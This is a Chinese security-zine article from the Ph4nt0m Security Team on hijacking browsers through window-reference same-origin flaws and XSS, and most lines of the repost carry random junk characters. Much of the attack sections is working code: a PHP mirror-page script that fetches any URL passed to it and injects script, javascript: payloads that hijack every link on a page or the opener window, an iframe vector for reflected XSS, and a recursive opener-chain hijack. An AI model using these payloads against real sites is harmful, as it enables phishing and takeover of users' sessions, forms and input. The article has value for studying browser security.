==Ph4nt0m Security Team==
! @. i/ H. G& V1 S4 S8 m / b# |. G$ o6 k _4 g) ], u
Issue 0x03, Phile #0x05 of 0x07* q4 R9 g5 T2 d$ W
& I( g% w! f5 P5 n
5 L5 B5 h( r; u) o% S|=---------------------------------------------------------------------------=|
- w% Q6 U" @( m2 G/ d. ]' V|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
7 b* S- N q6 ]1 Q+ K|=---------------------------------------------------------------------------=|
$ e0 r& u8 J- L! l( q2 ` Z; m|=---------------------------------------------------------------------------=|
6 ]/ _7 L" b! k: \ R|=------------------------=[ By rayh4c ]=---------------------------=|
# b- M% }# u5 z% t7 G8 g|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
, D) }1 F. F. s, G" _+ r0 E* L|=---------------------------------------------------------------------------=|
/ _6 l$ V+ D" \( r+ l& K, d" C/ p% v$ w4 a# ~
" n! b6 F, l1 R: h[目录]
" G( G' Y# O; h9 U5 \! d
# V5 f/ p$ R }, P1. 前言
4 T: o% v+ G5 ~' @" n9 c2. 同源策略简叙$ X2 v( I0 g5 D, e G, c( Q" G
3. 理解window对象的同源策略
8 V9 Q/ T8 p6 b: {4. 窗口引用功能中的同源策略漏洞! C- t' q" n+ K: t
4.1 父窗口引用子窗口的同源策略问题, r' T1 s+ U3 l |8 }
4.2 子窗口引用父窗口的同源策略问题/ b5 C: h: `& u4 z1 C7 q# G0 r
5. 利用窗口引用漏洞劫持浏览器6 j) l3 R; Q% o/ E
6. 利用XSS漏洞劫持浏览器
/ P3 _6 P* \3 ^+ H R 6.1 正向跨窗口劫持
# Y+ g3 L! s1 S) N8 q 6.2 反向跨窗口劫持# M) K4 F' `* y
6.3 极度危险的跨框架窗口引用劫持4 n3 P. I+ R* C( e& v
6.4 极度危险的正反向跨窗口递归劫持
$ v1 s e3 E+ J2 B( q 6.5 完全控制浏览器2 i; \$ y2 c, X. e% U* H
7. 后记
+ R3 }' z. P+ t1 l8. 参考
* C4 V/ w8 M: Z! Q
4 f" l+ Z$ {4 T( j _( n; ]3 A
6 p1 A. z8 p- h一、前言6 Q- J! o6 y& G3 \% O% i
& _; R" D, j& t# j" K& q 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋4 f9 S1 W% h8 m+ q: I
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
( n$ j8 _2 i4 L1 H" F, ~/ j; m, r劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
1 `% j- s6 k, e! n3 X条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。8 l5 M1 s6 T( ^& Z5 V6 O
) Q. t9 _$ R+ }
, Q6 C, f0 h0 Q二、同源策略简叙
4 X+ ?1 ?5 K3 O& h/ z' O. @ V0 ^; D4 ^$ c5 W& }- X6 o
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
3 `& ]! f- h0 W8 N0 x从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都 ^6 j. O, D1 r2 D9 D% i0 q
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木1 G+ I+ x. ]" }/ b8 ~& ?0 q0 f
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个1 e/ \4 n4 r1 ]! M/ ~+ E% T4 x
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
( n, ^: X/ \, X3 Y* z
! y: D8 X; l( a6 L( v. p
7 X1 F1 ?" h$ c7 n4 H三、理解window对象的同源策略' C# h1 t E8 G# v# D- Q
6 O$ p. J6 e% \7 w! C
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
8 H9 u+ `9 W" K象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
) Y* h1 @$ z4 p
$ X9 w, P: T4 `, n! _--code-------------------------------------------------------------------------
( L# j0 p7 v) U0 g<script language="javascript">
* ?# f+ n' }- c" l0 |for(p in window) document.write(p+"<br>");! J6 W" o; ^3 O# z* ?" i
</script>
7 t: b6 j; G M: F4 e9 a-------------------------------------------------------------------------------8 t) Z) ]) k- W5 L7 m
$ J+ @, R1 z3 j0 f2 f1 c 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
! @/ i0 Z. ~% N p法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
9 U0 p) H! {- F这些属性和方法就必须遵循同源策略。
& w" t' f4 r& |) e' m) B
# S1 p, }" f1 V3 ?3 }* O1 y4 U 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
]' ^6 ?7 f/ M. V4 |么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
' R, n9 ^$ y" D的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
+ f }- s$ Y2 ^) H! y7 \个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
6 `9 x5 s4 I2 T: h/ R" ^. r值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location7 Q2 n1 p; d+ K; [0 {! j) i6 {3 g
属性并没有被拒绝访问。: }/ T- O2 _4 y- B3 h f8 R
: S& }' V8 h* j/ u5 ^
--demo.html--------------------------------------------------------------------
1 S" {. O- U4 q t- f, Y<script language="javascript">
" ]6 C( j$ c% I4 ?& Xfunction allPrpos(obj) {
4 A, M1 }/ W4 }9 ]: u( o3 P var props = "<table><tr><td>名称</td><td>值</td>";
% k+ D1 t! F1 a& [( M for(var p in obj){ 2 Y- G2 J# B7 }, z+ L
if(typeof(obj[p])=="function"){ : x- Y. @: e8 a3 W, }3 m
obj[p](); 9 b; Q" ` f% F" c; K, P, ?
}else{
( x$ l5 L7 K5 U2 z* l try 3 V. }) r+ ?& B+ I
{
3 C, T9 H% M: O0 c props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; + \8 x w; [2 U
} 3 Q9 D v j. G; ~ R
catch (ex) / X1 N% R* c& d3 l) l2 Q' L
{ 1 |4 G3 H' ^% k' W
- ~1 N* f6 [6 O9 x5 _ n; ]2 i props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
. i/ R9 D+ B5 b1 V. l" U } ' I; O0 G0 a- F U2 l; V
5 m* a1 ^* D/ b% Q) ? }
3 X C! `1 R* _+ L, H- \ \+ H% c } + z# r0 Z$ L, E6 V- S# Q
7 ~1 b2 Q, k$ j" B) B6 I3 c document.write(props+"</table>"); * M( E C6 i" s- w& `: E( x# T
}
: j! X* m- p7 L8 P9 c ; I) P" \0 `1 C1 D
function createWin() {% d3 Y. j# }( A2 B
newWin = window.open ("http://www.google.com");
! d/ c1 e$ a; l h8 o! e setTimeout(function(){allPrpos(newWin)},2000);
, B9 F. z0 o8 }3 u2 Q} 7 y4 V( D- ]# v h
G8 J; _. T; T$ q& @$ H7 m# [3 d0 }
</script>
& z- z- M! t: Y; D% C6 i
" Q2 F! u+ a o X; ~: ]<button onclick='createWin()'>创建一个非同源子窗口测试</button>
; P; M5 |* Q a. v2 c, k4 X-------------------------------------------------------------------------------) Z3 d8 [6 ^( D9 c
8 P: ~0 `8 E) L
$ e9 Y e. x9 Y# u2 i& m四、窗口引用功能中的同源策略漏洞
8 \5 Q* ]- a$ H( g# b; y+ G. V3 A- G4 F4 \8 l$ l. I2 r0 | f
4.1 父窗口引用子窗口的同源策略问题8 ^0 Q0 H- |7 {4 \
7 s7 Y4 Z' G( f/ s' w& g1 a
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,2 v3 c9 T0 C9 W3 E/ I3 E ?8 C+ s q
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
& d `0 w, w9 h# S, P浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进1 y- Q1 g! s2 D6 n0 I5 A. F
行测试,会发现父窗口可以控制非同源子窗口location属性值。4 N1 `7 x8 X! V/ k4 Y0 M
- g: a6 [1 n/ [
--vul1.html--------------------------------------------------------------------
* z% V& T& X! M4 |/ m; w$ }5 F<script language="javascript">
- ?' `' {- j/ V8 q1 c j7 pfunction createWin() {
- J$ W& A1 |% O5 }" _" e4 [ newWin = window.open ("http://www.google.com"); ! _- M) h8 C7 u' G& y6 g) ~
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); - q. A& U" b# f: t$ ^/ s7 K& d6 ~
}
7 i0 N* R: x, d X, n</script>" u, r) s( Y6 O& J
2 e% g; ]# g# x4 A8 C0 `) x4 }& b5 `<button onclick='createWin()'>创建一个非同源子窗口测试</button>
s- V) @0 x/ Z& X% w5 j-------------------------------------------------------------------------------
+ I" y$ {: t+ S, m9 R0 {9 ]0 y. J1 `
. G& d" T8 w6 g7 z2 e4.2 子窗口引用父窗口的同源策略问题7 W* G! n" n6 f* c+ U# S* h
( {5 s# j7 Y/ E
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使' W# V# @' f0 D5 T
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
( T+ C/ t: ~" v/ r% H% H! w可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定/ ]5 L+ Z: }& m& j% O5 r
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
* C s6 S3 u. F! S. h, c
% Y& o/ t! B# K, ~--code-------------------------------------------------------------------------1 E9 N7 Z f! k! e4 A R4 u
4 J1 x8 b1 Z' t9 {
javascript:window.opener.location = "http://www.80sec.com";void(0);( k2 Y( V6 ?6 h4 m' }
& ]) y: L1 p* t7 m-------------------------------------------------------------------------------
" p* _5 ^ x( k+ i' {9 s/ [7 a6 ] j7 r: ^! D+ A
1 J0 o" a! L! i
五、利用窗口引用漏洞劫持浏览器
7 d. e) g% |, P
# K1 x$ `2 j. w( [0 Q a2 I) m( g8 P A 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
6 s9 f) Y+ J0 e* L J窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那5 ], e& [5 I$ a
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。' d- c1 I2 O7 F' y" ^. y/ v. z
: e8 F9 W$ g: y: M
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
1 ], m, C, {& x6 [* @* k$ T x3 x* j生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或% @7 R8 ?9 i! b) k1 w% N( z; l
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接/ ~# h1 \0 l, C, f! ? D: W
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
$ F: T* d5 f; ]* J会产生什么可怕的后果。0 ^4 \; U4 r+ X' }3 H
$ P Z' L' g" d! y/ U 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
& M0 t+ w* p: H$ E$ f7 g) a们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php0 D) e2 X* e( @; ^8 \7 k. A
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时/ I0 N; Q3 V# x* f, l/ b7 ^
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
8 _, m& O6 P$ z! K3 i1 l以做更多的事情,所有的一切仅仅是因为点击了一个链接。1 {3 N( c3 @8 u$ D) J. p
2 W& s" ^& Y8 ?+ L8 o--hjk_ref.php------------------------------------------------------------------: {, ]+ X- G. @' m+ X3 c, b
<?php
7 N: Q' I" f% g; u6 J- Fif (array_key_exists("HTTP_REFERER", $_SERVER)) {/ Q. E% K2 W- `" Q
$Url_Mirror = $_SERVER["HTTP_REFERER"];
" j$ V7 q0 |6 N7 e: V}
y8 w6 Z" k3 j, j. eif(isset ($_GET['ref'])) {
/ r. B; z5 B; g) f1 ?' ]echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';% ]+ h: t' ]9 d: t
}- e% }* _- z; P2 V4 X
?>/ u; L+ M; n( r
, E9 N) a) z' X+ U# {7 v<script language="javascript">6 N6 v& B r6 x/ W3 O2 R9 A3 ^
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 8 P3 R' a% X6 b' f4 o( v
</script>
& W0 n) `1 E! K* i( {' L-------------------------------------------------------------------------------0 ]3 I( S* Q8 S7 Y9 m
9 q, Y( \' }8 U$ ^0 p* P
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。. F" b- Z H7 m3 F9 s! I1 @
0 c/ z( G& u! b% }8 k- C% A$ ~) x" w. W+ }
六、利用XSS漏洞劫持浏览器, r) e, J' Q& Y" {, l7 H
; z9 s2 Y' F& Z3 ?1 U: y# B
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
J3 v% G6 N1 o* c, X9 g" ~0 p持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
8 i) L" i* y# \! i9 gXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起( h0 C( F [$ m* l# k* l
讨论跨站师的终极技巧:! F) |; e+ V( \
6 Y- Z; T7 w6 `+ n- {: j0 ]) ~
& Q/ H$ _3 K* \2 P$ O6.1 正向跨窗口劫持
0 w3 Q6 p% J0 S+ r: y) F6 Z$ Q7 \8 H: c. @2 F
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
$ P5 r: d+ x5 f5 e9 f9 L主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链$ } s7 F% m6 S3 c _$ y6 o Q
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话) e8 {. @) E- d) c1 o9 U
框脚本。 ( l& h5 B2 j4 n8 f5 E, n
5 j, T9 y- S" M: x b
--hijack_open.js---------------------------------------------------------------
! z3 i* e7 L+ ^% t0 x0 k: }9 e8 `$ n9 Q8 W
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);' P5 L3 ]' m( @# ?8 b3 w& ~
3 a- F) \5 }8 s( q2 l2 e5 ~! x
-------------------------------------------------------------------------------
, D% Q/ i! h1 P3 w, J+ `5 p
' {5 C4 s2 }& k8 y5 t9 ~, v3 S$ J& ?5 k8 m
6.2 反向跨窗口劫持
% W2 @. C, _- \9 K+ z+ L! b7 Y
3 P0 k2 P; ~9 B4 _% \/ @: |+ o9 K. h 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代 A" ^' C+ A, X w6 X1 z: r
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话% Z% h2 t \$ V8 m
框脚本。2 G# } H ^' {6 q* Z+ T* F
$ m1 c/ Z& K2 i" F6 V" U$ c* H
--hijack_opener.js-------------------------------------------------------------
/ r# ^) d* \7 G9 q8 C; C8 C% U: z6 x9 r" D
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
. M. b2 ]( O6 L7 ?2 L4 {6 j4 j3 o+ d) j' P" t9 V
-------------------------------------------------------------------------------
) h5 g) O& L; d3 Q. L) e% V4 I5 w) b- _9 M4 v
1 F4 a/ a+ u P' Y5 v" O3 R- |
6.3 极度危险的跨框架窗口引用劫持
" m0 v o) F# m; \! T! j$ }2 J3 @( S w) n% I9 A, |
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞! S+ W5 m# L$ s# J* e7 P' ?* e' l
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
: I7 x5 ^6 @( Z& ]: b& A% g适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个. [$ k% T3 d+ w' Z2 v9 B
非持久型的XSS,如下:4 k4 G* y2 c4 C6 ~) ]
; a1 J! L5 Q( o. j1 K<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
# n+ b/ q. ? \
1 }* |' r0 c$ v/ d) a! L0 {: h 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
! R( Z* i9 F+ k9 n! `/ H+ u注入脚本。
( o* M! Y6 }# K0 Y" K ]0 r
) K# K8 m" j8 t3 S4 B--hijack_frame_opener.js-------------------------------------------------------. h% ^* A5 ~ E9 C; \; ?* m
<script>& g9 x5 O, G7 {# m. C& r- e% g
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
8 y, w' e Y* r- s</script>1 k" p/ I, `7 f
-------------------------------------------------------------------------------( m' l+ i3 O. _( d y7 n0 O$ L; W
$ `( }. o9 ~. g2 Y* C
* [: m; E$ p o( F' e6 f6.4 极度危险的正反向跨窗口递归劫持- E" h7 G" _' R( ?$ a
, B( N1 k1 m4 R$ c& c5 }7 H luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
# P0 L) o0 Z' M! A6 l的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
, S# P( y" O8 }) F9 `+ z异常处理规避之间跨域页面的访问异常,代码如下:
. D T/ ~( ~# N" Z0 L8 s8 k
6 Y: L" g; B( g" Q--code-------------------------------------------------------------------------
$ j7 `3 D7 T1 C0 L( d# q
* L4 p' J8 V6 t/ Z3 F1 ejavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);, g, I. Y4 ?. `' Q
0 r2 O: J3 u. g/ s6 d9 k! S
-------------------------------------------------------------------------------
' ^, Z! I# V8 m: ]) R2 h4 G1 P2 n+ z, z. y% o4 F. X
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可- H$ P( S% `1 y, w- g+ q* ~6 \( v
以劫持B域之前的A域页面,从而实现“隔空打击”。
! r! V8 i% |: \! c* e
, s4 _- I, y0 `1 p 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
$ Z0 k0 Y- q# W: A执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。* Z" T" g t0 S8 y
: g( F+ H! A, Q5 w7 z: ?
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。4 P2 L" Y1 s/ T8 {, ?
( i2 ]. `1 Y9 u! _; L' R) a1 k M5 t: n
% Y$ m2 }: j) s" R6.5 完全控制浏览器
. l* f- o, Y' v" w9 ~; v
* B3 q- c- i7 I3 f' w 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
4 q( L* H0 [1 ]是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
3 d2 z3 x& ?6 i. R0 U漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
% {% f5 S$ R9 Q! s( A- w. \8 R而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
0 j- ~6 h6 @; M/ i7 W列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
w0 J8 n& @8 m# b! `! ~师的终极目标 - 完全控制浏览器。$ `1 e# H( h. C* W: x
7 r) h( G6 q( j" Z l+ e- C/ B3 K5 s5 n+ {! |1 }0 n; o% o; m
七、后记. Z$ b3 h+ Z# O1 d7 \0 u
0 c" K. y& _. b; g' m7 d0 p 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
/ J# h# X9 }7 P- a/ A% N0 F与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
# R- J' R! T7 Z过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。0 y; z+ l }6 K6 f6 w4 G U$ ?2 Z
; v4 b0 {3 }+ ^* u" x* [
9 a) s# |- T4 J0 e: {八、参考
" w' F8 }; o( N% O
% N0 I# ?% V& U0 A1. http://en.wikipedia.org/wiki/Same_origin_policy) r1 P' a0 V, `& B
2. http://code.google.com/p/browser ... licy_for_DOM_access
4 [# |* _% _- J6 q$ v3. http://www.w3.org/TR/Window/' ?- O b$ H$ T. W* o, E n
4. http://www.80sec.com/release/browser-hijacking.txt
# \' _" s$ t) [* {! S/ R5 }9 X5. http://www.80sec.com/all-browser-security-alert.html
0 ?; i/ f6 D+ C( ?' O6 [( W8 s( g. B6. http://www.80sec.com/ms08-058-attacks-google.html
|9 t7 |/ Q# `8 I/ G
; |. w! y8 n) X: j: S- v-EOF- |